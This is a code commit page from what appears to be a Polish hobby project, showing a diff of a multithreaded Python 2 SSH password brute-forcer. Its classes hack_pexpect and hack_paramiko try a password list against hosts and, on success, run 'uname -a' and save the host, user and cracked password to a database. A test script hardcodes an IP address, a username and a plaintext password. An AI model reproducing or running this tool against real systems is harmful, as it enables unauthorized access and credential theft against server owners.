Commit 38a8b473 authored by Piotr "PHT" Jasiek's avatar Piotr "PHT" Jasiek

development version

parent 070ba3fc
Pipeline #7 failed with stages
......@@ -2,27 +2,19 @@
import paramiko
hostname = "192.168.43.224"
password = "Koloseum1"
command = "uname -a"
username = "pi"
port = 22
client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy())
try:
client.connect(hostname, port=port, username=username, password=password)
except paramiko.ssh_exception as e:
except paramiko.ssh_exception.NoValidConnectionsError:
print "conn error"
except paramiko.ssh_exception.AuthenticationException:
print "auth error"
if "Unable to connect" in e.value:
print "trollo connect"
else:
print "chuj"
else:
stdin, stdout, stderr = client.exec_command(command)
......
......@@ -47,9 +47,9 @@ while (to_run != 0 and to_run > 0):
try:
if args.db != "no":
hack(host, user, lista_hasel, args.dbhost, args.dbuser, args.dbpass, args.dbname).start()
hack_pexpect(host, user, lista_hasel, args.dbhost, args.dbuser, args.dbpass, args.dbname).start()
else:
hack(host, user, lista_hasel).start()
hack_pexpect(host, user, lista_hasel).start()
to_run = to_run -1
print bcolors.INFO, "W kolejce:",to_run, "Uruchomionych:", th_amount, "Uruchamiam kolejne zadanie -", host, bcolors.ENDC
......
......@@ -4,11 +4,15 @@
import threading
from fontcolor import *
from database import *
###importy bibliotek hacków
from pexpect import pxssh
import paramiko
###
import os
###Klasa odpowiadająca za połączenie z hostami i dopasowywanie haseł
class hack (threading.Thread):
####Klasa z uzyciem pexpect
class hack_pexpect (threading.Thread):
def __init__(self, host, user, hasla, dbhost=None, dbuser=None, dbpass=None, dbname=None):
threading.Thread.__init__(self)
self.host = host
......@@ -52,10 +56,66 @@ class hack (threading.Thread):
print bcolors.OK,"---", self.host, self.haslo, "---", bcolors.ENDC
break
#### Klasa z uzyciem paramiko
class hack_paramiko (threading.Thread):
def __init__(self, host, user, hasla, dbhost=None, dbuser=None, dbpass=None, dbname=None):
threading.Thread.__init__(self)
self.host = host
self.user = user
self.hasla = hasla
self.dbhost = dbhost
self.dbuser = dbuser
self.dbpass = dbpass
self.dbname = dbname
self.verbose = "no"
def run(self):
for self.haslo in self.hasla:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
paramiko.util.log_to_file("/tmp/filename.log")
try:
client.connect(self.host, port=22, username=self.user, password=self.haslo)
except paramiko.ssh_exception.NoValidConnectionsError:
if self.verbose == "yes":
print bcolors.FAIL, "Blad polaczenia:", self.host, bcolors.ENDC
break
except paramiko.ssh_exception.AuthenticationException:
if self.verbose == "yes":
print "auth error"
except paramiko.ssh_exception.SSHException as e:
if self.verbose == "yes":
print self.host, ":", e
break
except paramiko.ssh_exception.error as error:
if self.verbose == "yes":
print self.host, ":", error
break
else:
if self.dbhost:
stdin, stdout, stderr = client.exec_command("uname -a")
uname = stdout.read()
client.close()
add_host(self.dbhost, self.dbuser, self.dbpass, self.dbname, self.host, self.user, self.haslo, uname)
print bcolors.OK,"---", self.host, self.haslo, "---", bcolors.ENDC
break
###Funkcja która zlicza ile jest obecnie otwartych wątków/połączeń
###wersja pexpect
def thread_amount():
amount = int(os.popen('ps x | grep -i "/usr/bin/ssh -q -l" | wc -l').read())
amount = amount - 2
return amount
###wersja z paramiko
def thread_amount_paramiko():
amount = int(os.popen('ps auxH | grep -i "python" | wc -l').read())
amount = amount - 2
return amount
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment